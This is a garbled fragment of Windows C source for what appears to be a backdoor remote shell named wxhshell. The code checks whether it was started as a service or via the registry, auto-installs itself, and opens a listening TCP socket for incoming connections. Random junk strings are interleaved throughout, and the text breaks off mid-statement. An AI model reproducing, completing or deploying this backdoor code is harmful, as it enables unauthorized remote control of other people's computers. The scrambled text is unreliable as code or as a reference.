%'K+$ CloseHandle(hProcess); .)oQM:F(h ?dATMmT- hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); NK*:w *SOI if(hProcess==NULL) return 0; VLl&>Pbe- [U+<uZzOC HMODULE hMod; 2/a04qA# char procName[255]; FQv02V+&< unsigned long cbNeeded; ,cl"1>lp h0ZW,2?l if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 4cv|ok8P ]lG_rGw CloseHandle(hProcess); xLGTnMYd RMs1{64: if(strstr(procName,"services")) return 1; // 以服务启动 Rqv+N] T`0`]z !~ return 0; // 注册表启动 Mz%d_ } btkMY<o7 EHE6-^F // 主模块 @i1 .5z int StartWxhshell(LPSTR lpCmdLine) -f
'q { 8k*k SOCKET wsl; /eI,]CB'z BOOL val=TRUE; ]J0Y^dM int port=0; ^O,6(@> struct sockaddr_in door; '<U[;H9\ fitK2d if(wscfg.ws_autoins) Install(); (\AszLW Y
}g6IK} port=atoi(lpCmdLine); eN7yjd'Y6 PT=2LZ if(port<=0) port=wscfg.ws_port; !Dhfr{ eQ4B5B%j/x WSADATA data; \t7zMp if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; +q>C}9s3 & t @ if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; aNh1e^j setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Av[|.~g door.sin_family = AF_INET; LOYyj?^7 door.sin_addr.s_addr = inet_addr("127.0.0.1"); GO&R |